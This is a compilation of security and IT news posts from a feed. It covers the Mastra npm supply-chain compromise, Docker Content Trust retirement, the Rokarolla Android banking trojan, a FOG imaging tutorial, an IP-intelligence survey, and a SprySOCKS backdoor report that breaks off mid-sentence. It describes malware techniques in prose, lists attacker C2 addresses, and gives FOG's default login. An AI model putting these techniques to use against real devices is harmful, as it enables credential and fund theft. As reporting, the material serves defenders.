144 Mastra npm Packages Compromised via Hijacked Contributor Account

As many as 144 npm packages associated with the Mastra namespace ("@mastra/*"), a popular open-source JavaScript and TypeScript framework for building artificial intelligence (AI) applications, have been compromised as part of a software supply chain attack codenamed easy-day-js, per findings from JFrog, SafeDep, Socket, and StepSecurity.

"A single npm account (ehindero) mass-published more than 140 malicious packages across the Mastra scope within a short window on 2026-06-17," Socket said.

The infected packages themselves do not include malicious code. Instead, it's introduced by means of a third-party library named "easy-day-js" that has been added to each package's dependency list. The JavaScript library was published by an npm user called "sergey2016" on June 16, 2026, at 7:05 a.m. UTC as a clean, fully functional copy, with the malicious changes introduced on June 17, 2026, at 1:01 a.m. UTC.

The "easy-day-js" package launches an obfuscated payload that's fired during a postinstall hook, which acts as a dropper or loader for a second-stage payload retrieved from attacker-controlled infrastructure ("23.254.164[.]92") after disabling TLS certificate validation.

The payload is then executed as a detached background process, following which the loader takes steps to erase itself to minimize the forensic trail.

The final stage is a cross-platform information stealer that can harvest browser history, store data from over 160 cryptocurrency wallet browser extensions, install persistence across Windows, macOS, and Linux, and exfiltrate the captured information to the C2 server ("23.254.164[.]123").

In its analysis, SafeDep described "easy-day-js" as a clone of the "dayjs" date library that downloads and runs a cryptocurrency-stealing remote access trojan. The attackers behind the campaign are said to have hijacked the "ehindero" account, a legitimate former Mastra contributor whose scope access was never revoked. Npm has since pulled the malicious versions from the highest-profile packages and reverted their latest tag.

Image Source: StepSecurity

"Mastra ships its real releases from CI through npm's trusted publisher flow, and each one carries SLSA provenance attestations," SafeDep said. "The attacker pushed the malicious versions from a personal token and dropped the provenance."

"The same fingerprint repeats across the whole scope. Mastra generated provenance on CI publishes but did not require it, so a standard npm token could still publish without attestations. A signature-verifying install (npm audit signatures, or a policy that requires attestations) would have rejected every package in this wave."

Any workstation, CI runner, or build environment that installed the affected versions should be treated as potentially compromised. It's advised to roll back to a safe version, rotate any credentials, and audit the hosts for any artifacts linked to the campaign.

"The affected packages include @mastra/core, which receives more than 918K weekly npm downloads, giving this campaign a large potential blast radius," Socket said. "Because the payload executes during installation, systems may be exposed before developers import or use the package."

from The Hacker News https://ift.tt/1hKdbBW
via IFTTT

Docker Content Trust: Retirement and Migration Guidance

TLDR: Docker Content Trust (DCT) and the Notary v1 service at notary.docker.io are being fully retired (first announced in July of 2025). This blog explains what is changing, who is affected, and how to move to modern alternatives. 

Ten years ago, Docker Content Trust (DCT) gave the container ecosystem one of its first ways to verify the integrity and publisher of an image, built on The Update Framework and the Notary v1 project. The upstream Notary v1 codebase is no longer maintained, more modern signing tools have become the standard, and today a very small number (fewer than 0.05%) of Docker Hub pulls rely on DCT.

Last year we began retiring DCT for Docker Official Images, and now we’re completing that work by fully retiring DCT and the Notary v1 service at notary.docker.io. This post covers what’s changing, who’s affected (for most people, nothing), and the modern alternatives that are available to users.

Why are we retiring Docker Content Trust (DCT)?

DCT relies on the upstream Notary v1 server, the original TUF-based implementation that was first released in 2015, and the project is no longer maintained. In the years since, the ecosystem has standardized on OCI-native signing tools such as Sigstore/Cosign and the Notary Project’s Notation, that store signatures alongside the image in any compliant registry, with no separate trust infrastructure to run. The broader ecosystem has been retiring this approach–Microsoft deprecated DCT support in Azure Container Registry some time ago, and Harbor deprecated Notary v1 support too.

Retiring Notary v1 lets us put our investment behind other modern, standards-based tools (described below) that developers are already adopting, and behind making secure defaults first-class citizens on Docker Hub.

Who is affected by this change?

DCT was opt-in, and normal image pulls (docker pull) would not touch the Notary service, so if you’ve never deliberately turned it on, nothing about your workflow changes. You can stop reading here.

The change matters if you configured DCT for use, which usually shows up in one of a few ways:

• You have DOCKER_CONTENT_TRUST=1 set in your environment, shell profile, CI pipeline, or Dockerfile.
• Your scripts or automation use docker trust sign, docker trust inspect, or docker trust revoke.
• Your Kubernetes admission controllers or deployment policies check for DCT signatures.
• You publish images to Docker Hub with DCT signing enabled.

If you have never set DOCKER_CONTENT_TRUST and do not use docker trust commands, this change does not affect you. 

Pathway to retirement: timeline

We’re winding DCT down in stages rather than all at once. The brownouts are brief, scheduled outages, these are dry runs that flush out any pipeline still leaning on the service while there’s time to fix it. Writes go dark before reads, so signing breaks before verification and publishers can get the earliest heads-up.

Date	What happens
Jul 14, 2026	4-hour write brownout
Jul 15, 2026	4-hour write brownout
Aug 10, 2026	4-hour read brownout
Aug 12, 2026	4-hour read brownout
Dec 8, 2026	Full shutdown

Windows run ~4 hours and begin at 8AM Pacific Time.

Note this only touches DCT trust operations; ordinary docker pull and docker push operations will keep working through these windows.

What to do if you are affected: migration guide and alternatives

If any of the cases above describe your setup, here’s how to move off DCT cleanly. The ecosystem has settled on a handful of strong, widely-adopted tools, so this is as much a menu as a manual. The steps run from the quickest unblock to the most complete setup; pick the leading technology that fits your workflow, and go as far down the list as your situation calls for.

Ensuring image pulls succeed

If your only goal is to ensure that image pulls keep working past the shutdown date, disable DCT. This is the fastest path to unblocking your workflows, but it removes tag-level verification. 

# Remove from your current shell session
unset DOCKER_CONTENT_TRUST

# Or explicitly disable it
export DOCKER_CONTENT_TRUST=0

Search your environment for anywhere this variable might be set, including shell profiles, CI/CD configuration, Compose files, and K8s manifests. Once DCT is disabled, all pulls continue to work normally.

Ensuring pulls are repeatable

Tags on image registries can change when an image is updated. Pulling by digest guarantees that you get the exact image content you expect, regardless of whether a tag has been moved or overwritten. Digests are immutable.

# Find the digest of an image you have pulled
docker pull busybox:latest
docker images --digests busybox
# REPOSITORY   TAG       DIGEST                                                                    IMAGE ID
# busybox      latest    sha256:f85340bf...   abc123def456

# Pull by digest 
docker pull busybox@sha256:f85340bf... 

Use digests in dockerfiles for reproducible builds, and in Kubernetes manifests or Compose files to ensure predictable deployments. 

Digest pinning verifies content integrity (you get exactly what you asked for), but it does not by itself prove publisher identity. For that, you need cryptographic signatures, which is where Sigstore/Cosign and Notation come in.

Proving publisher identity

Two mature, actively maintained signing projects have replaced DCT’s signing capabilities in Hub. Both store signatures alongside the image in OCI-compliant registries.

Option A: Sigstore / Cosign

Cosign is part of the Sigstore project and supports identity-based signing using short-lived certificates tied to an OIDC identity. It stores signatures as OCI artifacts in the same registry, alongside the image. 

• Sigstore quickstart: https://docs.sigstore.dev/quickstart/quickstart-cosign/ 
• Cosign on GitHub: https://github.com/sigstore/cosign 

Option B: Notation

Notation is the CLI for the Notary Project. It uses a certificate-based PKI model and stores signatures as OCI reference artifacts. 

• Notation quickstart: https://notaryproject.dev/docs/quickstart/ 
• Notation on GitHub: https://github.com/notaryproject/notation

Enforcing verification in production

Signing images is only half the story. To get full security benefits, you need to enforce that only signed images can be deployed.

Kyverno (works with Cosign)

Kyverno can verify Cosign signatures before pulling into a cluster. See the documentation for details. 

Ratify + Gatekeeper (works with Notation)

Ratify can verify Notation signatures before admitting pods. See the Ratify quickstart for setup instructions.

Use Docker Hardened Images as a built-in replacement

If you currently rely on DCT to verify base images from Docker Hub, switching to Docker Hardened Images (DHI) is a free and secure path forward. Every DHI comes with cryptographic signatures, provenance attestations, and SBOMs already built in.

This means the integrity checks you relied on with DCT are guaranteed, and then some. DHI images are minimal by design and continuously rebuilt when new CVEs appear. You are not just replacing a verification mechanism, you are getting a more secure base image to begin with.

• Read more here: https://docs.docker.com/dhi/ 
• Or view the free catalog at dhi.io

Need help?

A couple of things worth knowing as you plan your move.

If you are a Docker Hub publisher currently signing images with DCT, Docker cannot provide replacement signatures on your behalf. You will need to adopt Cosign or Notation to sign your own images.

If you are a consumer of third-party images that were signed with DCT, contact those publishers directly to determine whether they plan to adopt modern signing.

For questions or issues related to the shutdown, or if you want to work more directly with us on a migration plan, contact Docker support.

from Docker https://ift.tt/oGPxYIF
via IFTTT

New Rokarolla Android Malware Steals PINs, SMS Codes, and Crypto Wallet Funds

Security researchers at Zimperium's zLabs have documented a new Android banking trojan, Rokarolla, that targets 217 banking and cryptocurrency apps and packs 137 remote commands.

Together, they give an operator near-total control of an infected phone: it lifts lock-screen PINs, reads and sends SMS, rewrites the clipboard to redirect crypto payments, and switches off Google Play Protect.

Rokarolla, named after its command-and-control servers, spreads through malicious websites posing as well-known apps such as TikTok and Chrome.

The first thing a victim installs is a dropper that pretends to be Google Play Protect. It uses that disguise to get the payload installed and grab Accessibility access. Once the malware is running, one of its commands turns Play Protect off.

The theft runs through overlays. Rokarolla pulls a target list from its server, and for each app flagged active, it downloads a fake HTML login page and stores it in a local database. When the victim opens the real banking or wallet app, the malware drops the fake page on top and captures everything typed into it, card details included.

The report shows one such fake page mimicking the banking app 'imagin.' A separate overlay mimics the Android lock screen to capture the PIN, pattern, or password, which lets the operator control the phone even while it is locked.

It reads every SMS on the device and can send messages itself, which is enough to grab the SMS one-time codes banks use to approve logins and transactions. By making itself the phone's default app for texts and calls, it can also block incoming calls, so a warning call from the bank never gets through.

A keylogger and screen logger record what the user types and sees, and the trojan scrapes contacts and reads notifications. The clipboard gets rewritten silently, swapping in attacker wallet addresses so a copied crypto payment lands in the wrong account.

For surveillance, Rokarolla skips the usual MediaProjection screen casting, which throws a visible recording prompt, and instead takes screenshots through Accessibility, compresses them to PNG, and ships them out one frame at a time. That snapshot approach is simpler and quieter than the live hidden VNC seen in families like Klopatra.

The malware carries multiple fallback C2 domains and can be handed new ones on the fly, so pulling a single server does little. It's 137 commands outnumber the 107 Zimperium counted in the HOOK trojan, and the playbook is the same one running through a wave of 2026 Android bankers: fake-app droppers, Accessibility abuse, and HTML overlays.

There is no patch to apply here. This is malware, not a product flaw, so the defenses are the standard ones for Android bankers. Install apps only from Google Play, leave Play Protect on, and treat any unexpected Accessibility request as a red flag, since that one permission drives the whole attack chain.

Zimperium says its own products detect the family, and the indicators of compromise are in its GitHub repository.

Zimperium did not tie Rokarolla to a named group. What the build shows is intent: a banker put together to beat the exact protections users are told to rely on, from Play Protect down to the lock screen.

Found this article interesting? Follow us on Google News, Twitter and LinkedIn to read more exclusive content we post.

from The Hacker News https://ift.tt/S3ENyD8
via IFTTT

Six practical steps for rethinking resilience architecture in financial services and insurance for the modern era

This blog is the third post in a three‑part series on operational resilience in financial services. Read part one and part two.

Financial services and insurance (FSI) organizations are under increasing pressure to demonstrate that they can maintain continuity of critical operations during disruption. Regulators expect it. Customers demand it. Boards are accountable for it. And hybrid multi-cloud environments have made it harder than ever to deliver.

Most institutions already have resilience plans—but those plans were built for a different era. They assume predictable failure modes, linear recovery processes, and infrastructure‑centric continuity. Today’s environment requires a rethinking of those plans, not just incremental updates.

This final blog in our three-part series focuses on how FSI institutions can adjust their resilience architecture through six steps in order to better align with modern regulatory expectations and hybrid‑cloud realities.

Step 1: Reassess critical workflows and their dependency chains

Recent regulatory scrutiny, changing failure patterns, and greater dependence on hybrid cloud and third-party services have exposed gaps in traditional resilience plans. In short, FSIs are facing new disruption challenges.

Instead of assuming existing plans are complete, institutions should revisit:

• Which workflows are truly critical
• Which dependencies are most fragile
• Which teams must remain productive during disruption
• Where access failures create the greatest regulatory exposure

This is not a mapping exercise—it’s a risk recalibration.

Step 2: Establish a separate, stable access layer

The lesson from recent major outages—including the global CrowdStrike disruption that took down millions of Windows systems and affected banks, payments, and other critical services—is that institutions cannot rely on the same tightly coupled access path they use in normal operations. When identity, endpoint, network, or cloud dependencies fail together, recovery becomes slower, riskier, and harder to govern. A resilient access layer must be decoupled from the systems that typically fail. This is where the completely independent Citrix access plane provides unique value.

The Citrix platform’s access environment is:

• Separate from identity providers
• Separate from cloud control planes
• Separate from network routing dependencies
• Delivered across multiple sites and clouds

This ensures that even when upstream systems degrade, the institution still has a controlled, governed access path for employees and fixers.

Step 3: Implement continuity controls that reduce regulatory exposure

Continuity controls shouldn’t force you to choose between system availability and compliance. In high-stakes environments like FSI call centers, maintaining this balance is critical. Every minute a call center agent is stranded is a direct hit to customer trust.

When a disruption happens and the call center loses secure access to core systems, agents are unable to authenticate callers, retrieve customer records, or process time-sensitive transactions. Simply bypassing security protocols to get agents back online isn’t an option, as it immediately triggers severe regulatory exposure and data security risks. The goal is to keep the queue moving without dropping your guardrails.

To mitigate these risks, the specific continuity controls offered by the Citrix platform include:

• Session and access continuity (cached access and session persistence)
• Authentication continuity controls (long-lived tokens)
• Endpoint security controls (safe browser isolation)
• Infrastructure resiliency controls (multi-site delivery)

These controls ensure that a sudden operational outage in your environment doesn’t escalate into a catastrophic compliance breach.

Step 4: Centralize visibility across the entire access path

Institutions need unified visibility across very different user populations, from offshore developers and branch employees to call center agents handling time-sensitive account holder interactions. When disruption hits, triage breaks down quickly if teams can see only fragments of the access path for each persona. Unified visibility helps accelerate root-cause analysis, coordinate response, and satisfy regulatory scrutiny.

The Citrix platform provides:

• End‑to‑end session insight
• Correlation to upstream dependencies
• Real‑time performance telemetry
• Evidence for post‑incident reporting

This shortens restoration time and strengthens audit readiness.

Step 5: Build repeatable, auditable recovery workflows

This step matters more now because under regulations such as DORA, digital operational resilience is no longer treated as only an IT issue. The management body is expected to oversee it directly, and accountability can extend to the board itself.

Recovery must be predictable, governed, and defensible.

The Citrix platform provides an automated, programmatic approach to rollback and recovery, eliminating human error when stress levels are highest. Additionally, session recordings from the platform ensure critical evidence will be captured and available for audits.

Step 6: Validate against evolving regulatory expectations

FSI institutions are already operating under intense resilience scrutiny. This step is about staying on top of evolving supervisory expectations. To meet this challenge head-on, Citrix is continuously investing in our solution offerings—ensuring you have the modern, robust capabilities needed to validate controls, preserve evidence, and keep your resilience practices tightly aligned with requirements, like those associated with DORA, FFIEC, NIS2, and OCC. This continuous alignment ensures your architecture remains thoroughly defensive and audit-ready at a moment’s notice.

For FSI institutions, resilience is no longer just about recovery plans in a binder. It is about building an architecture that can preserve governed access, support controlled operations, and produce defensible evidence under stress. These six steps provide a practical framework for doing that—helping institutions stay aligned with evolving expectations, while using the Citrix platform to strengthen continuity, visibility, recovery, and validation.

If you’re ready to rethink your resilience architecture, the next step is a health check meeting with Citrix where you can include a discussion around resilience modernization and a possible workshop. Contact your Citrix account team to learn more.

from Citrix Blogs https://ift.tt/sbzKXcU
via IFTTT

FOG Project: Free Open-Source Imaging and Management for SMBs

FOG stands for Free Open-Source Ghost. If you’re in the IT you know what Ghost means. Back in the day, when I was knee-deep in VMware ESX labs and wrestling with physical server fleets, imaging physical systems, so the deployment tools were always a necessary part of my toolbox. Norton Ghost got the job done in the late 2000s, but it felt clunky. Clonezilla was a lifesaver for quick one-offs, and Acronis True Image delivered best experience with polish – but at a price. Fast-forward to today, and for SMBs and mid-size enterprises that need reliable Windows, Linux, or even macOS deployment and imaging tool without burning budget on licenses, the FOG Project stands out as one of the smartest, most practical solutions available.

If you don’t have a chance to have a Virtual desktop infrastructure (VDI) and have to manage 20–500 desktops or laptops, or you’re tired of burning DVDs/USB sticks and babysitting Clonezilla sessions, FOG might just become your new best friend. It’s completely free, open-source, and built from the ground up for network-based imaging and ongoing management. No more PXE nightmares with Ghost, no recurring Acronis subscriptions, and far more automation than Clonezilla Lite Server. You just need some time to master it. But hey, time is also money, right? To give you an idea how it works, let’s dive deep into why FOG deserves a spot in your toolbox.

What Exactly Is the FOG Project?

FOG (originally “Free Open-source Ghost”) is a Linux-based computer cloning and management solution that turns any spare server (physical or virtual) into a full-featured deployment engine. It uses PXE booting over the network – no boot disks, no CDs – so clients boot directly into a lightweight Linux environment that handles capture, deployment, hardware inventory, and post-install tasks.

 

Screenshot page from Sourceforge

 

Under the hood it’s a classic LAMP stack: Linux (CentOS, Fedora, RHEL, Debian, Ubuntu, or Arch), Apache, MySQL/MariaDB, and PHP, plus TFTP, DHCP (or proxy DHCP), and the Partclone engine for imaging. The web-based management console is where the magic happens—clean, straightforward, and designed by sysadmins for sysadmins.

Key capabilities that matter for SMB/mid-size environments:

• Multicast imaging – Deploy the same image to dozens of machines simultaneously without killing your network.
• FOG Client – Lightweight Windows/Linux service installed on deployed machines for inventory, snapins (post-deployment scripts), power management, and printer mapping.
• Hardware inventory – Automatic detection of MACs, models, serials, and specs.
• Task scheduling – One-time or recurring jobs: deploy, capture, wipe, run AV scans, etc.
• Snapins – Push applications, scripts, or updates silently after imaging.
• Groups & Host management – Organize machines logically (by department, floor, hardware type).
• Storage nodes – Scale horizontally by adding secondary servers for larger environments.
• Power management & wake-on-LAN – Remote shutdown/restart cycles.

It supports Windows systems for up to Windows 11, various Linux distros, and macOS (with some extra work). UEFI/Secure Boot? Handled. RAID arrays? No problem. Dissimilar hardware? FOG’s sysprep integration plus driver injection gets you most of the way – though it’s not quite as “universal” as some paid tools we all know.

Installation – Straightforward and Fast

One of the things I love about FOG (and why it reminds me of the clean ESXi installer days) is the single-script installation. Almos one liner. Grab the latest from GitHub:

bash

sudo -i

cd /root

git clone https://github.com/FOGProject/fogproject.git

cd fogproject/bin

./installfog.sh

 

FOG Installer under Linux

 

The installer asks a few sensible questions: Normal server or storage node? Use built-in DHCP or existing? Internationalization? Then it pulls down everything and configures Apache, MySQL, TFTP, etc. On a fresh Ubuntu 22.04 or Rocky Linux 9 box it takes 10–15 minutes.

 

A nice installer makes sure everything is running smoothly

 

Screenshot from the lab showing the UI of FOG. Note that the default login/password are:

Login: fog
Pass: password

 

The FOG default UI on Ubuntu desktop

 

Hardware recommendations for real-world SMB use:

• Gigabit NIC (mandatory for multicast performance).
• RAID 1 or 10 for the image storage volume.
• At least 8 GB RAM and a decent CPU if you’re imaging 10+ machines at once.
• Works beautifully in a VM (ESXi, Hyper-V, KVM—tested by the community).

Post-install you hit the web UI at http://yourfogserver/fog to set up the database schema and create your first admin account. Done. No complex licensing keys, no phone-home nonsense.

Day-to-Day Usage – Where FOG Shines for Admins

Register hosts either manually or let FOG auto-register via PXE (you can set a “pending” approval workflow for security). Upload a “golden” reference image once – FOG captures it in Partclone format with compression options.

Deployment is dead simple:

1. Set the task type (Deploy Image) on a host or group.
2. Boot the target via PXE (or use the FOG Client “Reboot to FOG” option).
3. Walk away.

Multicast kicks in automatically when multiple machines request the same image. I’ve seen 30 identical desktops imaged in roughly the same time it takes to image one – huge time saver in refresh cycles.

The FOG Client (MSI installer, fully scriptable) is the secret sauce for ongoing management. It reports inventory back to the console, applies snapins on schedule, enforces hostname/Domain join, and even lets you run disk wipes or memtests remotely. Perfect for mid-size shops that don’t have SCCM or Intune budgets.

Security note for SMBs: Run FOG on an isolated management VLAN if possible, or at least firewall it tightly – only the management subnet should reach the TFTP/DHCP ports.

FOG Integration with Active Directory – Automatic Domain Joins That Actually Work

One of the features that makes FOG a no-brainer for SMB and mid-size Windows environments is its rock-solid Active Directory integration. If you’re tired of manually joining machines after imaging, scripting unattend.xml files, or paying for MDT task-sequence wizardry, FOG handles the heavy lifting automatically – hostname rename + domain join in one clean post-deployment step.

FOG uses the FOG Client (installed in your golden image) and its HostNameChanger module. After deployment:

• The client phones home.
• HostNameChanger checks the host record.
• If enabled, it renames the machine and joins the domain.
• Reboot happens automatically.

No more generic “MININT-XXXXX” names or manual joins.

Step-by-Step Configuration (2026 Edition)

1. Prepare your golden image – Install the latest FOG Client before sysprep/capture and enable the HostNameChanger module. The reference machine must not be domain-joined.

2. Global AD defaults – Go to FOG Configuration → FOG Settings → Active Directory and fill in:

• AD Default Domain Name: company.com
• AD Default OU: OU=Desktops,OU=Computers,DC=company,DC=com (highly recommended)
• AD Default User: just the username (e.g. fogjoiner)
• AD Default Password: FOG encrypts it on save

Use a dedicated service account with “Create Computer objects” permissions on the target OU.

3. Per-host or per-group – Edit host/group → Active Directory tab → tick “Join Domain after deploy” and “Name Change/AD Join Forced Reboot”.

4. Deploy and walk away.

Pro Tips & Gotchas

• HostNameChanger must be enabled in the server config, golden-image client, and host record.
• Change the default FOG Passkey in the client source for production security.
• Check C:\fog.log for troubleshooting.
• Windows 11 almost always needs the forced-reboot option.
• Groups make bulk AD settings a one-click operation.

This feature alone can save days of work per refresh cycle in 200–400 seat environments.

If you’re lost, check the support page. You can find all you need within the documentation section.

How Does FOG Stack Up Against other known software?

vs. Clonezilla – Clonezilla is fantastic for quick, one-machine jobs. But it lacks the polished web UI, centralized host database, snapins, and scheduling that FOG offers. Image formats are incompatible. If you need ongoing fleet management rather than occasional cloning, FOG wins hands-down.

vs. Microsoft Deployment Toolkit (MDT) + Windows Deployment Services (WDS) – Microsoft’s free official answer for Windows-only shops. MDT gives powerful task sequences and driver injection; WDS handles PXE. Completely free and integrates beautifully with AD. The trade-off? File-based imaging (not block-level), so deployment times are longer on large fleets. FOG is faster for golden-image multicast blasts; MDT shines for maximum customization. Many admins build reference images in MDT then capture them with FOG for speed.

vs. SmartDeploy – The mid-market software for 100–5,000 endpoints. Excellent platform packs for drivers, rock-solid dissimilar hardware support, and a clean Windows console. Multicast works well. The downside is subscription pricing. FOG delivers 85–90 % of the same capabilities for $0 and runs on Linux – the smarter long-term choice if budget is tight.

vs. Acronis Snap Deploy / True Image – Acronis is slick with excellent dissimilar hardware support and Universal Restore. The GUI is prettier and it bundles backup/restore. But you pay per machine or technician. FOG gives you 90 % of the deployment power for free.

Pros, Cons, and Real-World Gotchas for SMB/Mid-SizePros:

• Zero licensing cost—ever.
• Excellent scalability with storage nodes.
• Active development and huge forum community.
• Integrates beautifully with existing DHCP (proxy mode).

Cons:

• Initial learning curve if you’ve never touched PXE/TFTP.
• Driver injection more manual than paid tools.
• macOS support community-driven.
• No built-in bare-metal backup scheduling (scriptable though).

Once you have golden images and the FOG Client deployed, refresh projects that used to take weeks now finish in days. The inventory data alone is worth the setup time during audits.

Final Thoughts – Should You Try FOG?

If you’re an SMB or mid-size enterprise admin tired of paying for imaging tools or cobbling together Clonezilla scripts, give FOG a spin in a lab this week. It’s stable, lightweight, genuinely useful, and the AD integration makes it a perfect fit for classic on-prem environments.

Start small: spin up a VM, image two test machines, deploy the Client, enable HostNameChanger, and play with snapins. You’ll quickly see why thousands of schools, hospitals, and businesses rely on it daily.

The project lives at https://fogproject.org/ and the documentation is solid (https://docs.fogproject.org/).

FAQ

What is FOG Project?

FOG Project is a free, open-source imaging and management tool for deploying Windows, Linux, and macOS systems over the network.

Is FOG Project free?

Yes. FOG is completely free and open-source, with no per-device licensing or subscription fees.

What is FOG used for?

FOG is used for PXE-based imaging, OS deployment, hardware inventory, snapins, power management, and basic endpoint management.

Can FOG join computers to Active Directory?

Yes. With the FOG Client and HostNameChanger module, FOG can rename machines and join them to Active Directory after deployment.

Is FOG better than Clonezilla?

FOG is usually better for ongoing fleet deployment and management, while Clonezilla is simpler for one-off imaging tasks.

Who should use FOG Project?

FOG fits SMBs, schools, hospitals, labs, and mid-size IT teams that need free network imaging without paid deployment tools.

from StarWind Blog https://ift.tt/pT3QL7s
via IFTTT

Survey: 94% of Incidents Involve Anonymized Infrastructure. Teams Are Still Reactive

Security teams have never had more IP data at their disposal. Every day, analysts ingest enrichment feeds, geolocation data, reputation scores, telemetry, and threat intelligence from a growing ecosystem of vendors and platforms.

Yet despite this abundance of information, many organizations continue to face a fundamental challenge: sifting through the noise to understand who is behind an IP and what action should follow.

Case in point: a recent industry study of more than 200 security practitioners conducted by Spur Intelligence found that anonymizing infrastructure - including VPNs and residential proxy networks - now appears in nearly every security incident.

At the same time, the study showed that many organizations admit they lack the visibility, context, and operational workflows needed to make effective decisions based on that IP data.

The findings support a broader industry trend: a reactive approach to managing IP-based risks.

The Rise of Anonymized Infrastructure

The widespread availability of VPN services, residential proxy networks, and other anonymization tools has fundamentally changed how cybercriminals operate. Residential proxies route traffic through consumer internet connections, making malicious activity blend in with normal user behavior. VPN services provide additional layers of anonymity while allowing rapid switching between locations and network identities. As a result, traditional approaches based solely on reputation or static blocklists are becoming less effective.

Security teams are increasingly encountering attacks where the IP address itself provides little immediate insight into intent.

The Spur study showed that nearly half of companies reported significant operational or financial impact from account takeover attempts and credential abuse via VPNs and residential proxies. In these incidents, an address may appear residential, belong to a legitimate ISP, and exhibit no prior malicious reputation while still being part of an active attack campaign.

The Context Deficit

One of the most significant obstacles facing security operations today is a lack of contextual information to help determine who is actually behind a connection.

The Spur study reinforces this observation, with nearly half of respondents saying a lack of context is the biggest challenge for their security teams analyzing IP activity.

Basic IP attributes, such as geolocation and network ownership, remain useful, but they often fail to explain the intent behind activity.

Security teams increasingly need additional layers of context, including infrastructure classification, VPN and proxy attribution, behavioral indicators, historical usage patterns, device and session correlations, and automation and bot signals.

Without this context, analysts are forced to make decisions based on incomplete information. With context, they can understand not only where traffic is coming from, but also why it may represent elevated risk.

Reactive Security Remains the Norm

Although organizations recognize the value of IP intelligence, many still use it primarily during investigations. IP enrichment is commonly applied after alerts have already been generated, helping analysts review historical events and investigate incidents. While this approach provides value, it limits the strategic impact of IP intelligence.

A growing number of security teams are exploring ways to move IP intelligence earlier into the decision-making process. Rather than using IP data solely to investigate incidents, they want it to influence security outcomes in real time.

The Spur study examines this dichotomy, with the majority of respondents indicating that they leverage IP intelligence for basic use cases but want workflows to be more predictive and intelligence-led. Examples include applying IP intelligence for adaptive authentication, risk-based access controls, fraud prevention workflows, automated policy enforcement, and session risk scoring.

The goal of proactively applying IP intelligence is to make better decisions before incidents escalate.

The Overlooked Internal Risk of Anonymization

External threats receive most of the attention in discussions about anonymized infrastructure, but many organizations face a second challenge much closer to home. Bring-your-own-device policies, consumer applications, and personal VPN usage have expanded the number of pathways through which anonymizing traffic can enter enterprise environments. Nation-state actors posing as legitimate employees in high-concentration remote work environments is another.

In many cases, organizations have limited visibility into whether employees are using proxy services, residential networks, or VPN tools while accessing corporate resources. This creates blind spots that traditional perimeter-focused security strategies may not address.

The Spur study validates this concern, with a surprisingly high 61% of respondents reporting being moderately, slightly, or not at all concerned about the potential exposure of their internal network via residential proxies on employee devices or consumer apps.

As zero-trust architectures continue to mature, security teams must treat internal proxy activity as a potential risk signal rather than assuming trusted users and trusted devices automatically imply trusted network behavior.

Quantifying the Effectiveness of IP Intelligence

Many organizations invest in IP intelligence technologies but struggle to quantify their effectiveness. Historically, success has often been measured using indicators such as blocked threats or enrichment coverage. However, these metrics may not fully capture operational value.

The Spur study shows that organizations are less mature in how they measure their IP intelligence efforts, and a full third of companies aren't measuring it at all.

Increasingly, security leaders are focusing on outcomes such as investigation time, false positives, and costs. These metrics align more closely with business impact and help justify investment in security intelligence capabilities.

As budgets remain constrained, demonstrating measurable operational improvements will become increasingly important.

The Future of IP Intelligence

The next phase of IP intelligence will likely be defined by three trends. First, organizations will demand richer context rather than larger volumes of raw data. Analysts need attribution, behavioral insight, and infrastructure intelligence, not just additional indicators.

Second, automation will become a priority. Security teams increasingly want IP intelligence integrated directly into detection, prevention, and access-control workflows rather than isolated in investigative tools.

Third, IP intelligence will become more closely tied to decision-making. Instead of acting solely as an enrichment layer, it will increasingly serve as a foundation for risk-based security controls.

The organizations that succeed will be those that move beyond simply identifying suspicious IPs and focus on gaining an understanding of the infrastructure, behavior, and intent behind them. In an environment where anonymized infrastructure has become a routine component of cybercrime, the ability to make the leap from detection to decision will ultimately determine how effectively security teams can respond to modern threats.

Found this article interesting? This article is a contributed piece from one of our valued partners. Follow us on Google News, Twitter and LinkedIn to read more exclusive content we post.

from The Hacker News https://ift.tt/F1sPEIC
via IFTTT

China-Linked SprySOCKS Backdoor Expands to Windows with Driver-Based Stealth

Cybersecurity researchers have flagged two previously undocumented Windows variants of what was believed to be a Linux-only backdoor called SprySOCKS.

"The Windows variants discovered are internally marked as WIN_DRV and WIN_PLUS," ESET said in a report shared with The Hacker News. "Both come with a hard-coded C&C [command-and-control] configuration and support communication over TCP, UDP, and WebSocket protocols."

Like its Linux counterpart, the Windows versions support more than 30 commands to facilitate system information collection, process enumeration, service management, and file system operations. WIN_DRV has also been found to utilize kernel drivers to conceal the malware's network connections, processes, files, and registry keys.

In addition, the variant enables TCP traffic diversion that allows the malware operators to send commands to the backdoor through a random TCP port on the victim's device without exposing the backdoor's actual listening port in the network traffic.

SprySOCKS was first publicly documented by Trend Micro in September 2023, attributing its use to a China-nexus state-sponsored threat actor known as Earth Lusca, which is also tracked by the cybersecurity community under the monikers Aquatic Panda, Bronze University, Charcoal Typhoon, and RedHotel. The adversary is assessed to be active since at least 2021 and operated by a Chinese contractor named i-Soon.

The Slovakian cybersecurity vendor, which has assigned the name FishMonger to the threat cluster, has described it as a cyber espionage group that falls under the broader Winnti umbrella. In a report published in March 2025, the company linked the hacking group to a global campaign dubbed Operation FishMedley targeting seven organizations in Taiwan, Hungary, Turkey, Thailand, France, and the U.S. between January and October 2022.

SprySOCKS is based on a Windows remote access trojan called Trochilus, and shares several common traits with RedLeaves, a backdoor that also exhibits extensive source code overlaps with Trochilus. What's more, the use of Trochilus is linked to another Chinese threat actor known as Webworm, which, in turn, has tradecraft commonalities with both FishMonger and SixLittleMonkeys.

WIN_DRV Execution Chain

The Windows variants are part of version 1.8 of SprySOCKS, with the WIN_DRV sample using a kernel driver referred to as RawWNPF ("KW1B5206BDC1743FP.dat") for advanced stealth, while retaining the functionality present in the Linux variant. The driver is loaded using another encrypted kernel driver named DriverLoader ("KX1B5206BDC1743DD.dat").

The attack chain makes use of an as-yet-undetermined initial access pathway to drop a batch script, which then creates and executes a scheduled task responsible for triggering a DLL side-loading chain that drops the SprySOCKS backdoor and the driver components. However, it's worth noting that the group has previously exploited N-day security flaws in public-facing Fortinet, GitLab, Microsoft Exchange Server, Progress Telerik UI, and Zimbra instances to obtain a foothold.

"The Windows version retains most of the core architecture of its Linux predecessor — including the C&C protocol, encryption used, and overall command handling logic — while substituting Windows-native mechanisms where required and improving the stealthiness of the backdoor by bringing the kernel drivers to the game," ESET researcher Martin Smolár said.

WIN_PLUS Execution Chain

"The most notable differences can be spotted in the way the final backdoor is loaded, in the improved stealthiness, and in the component names and paths used.

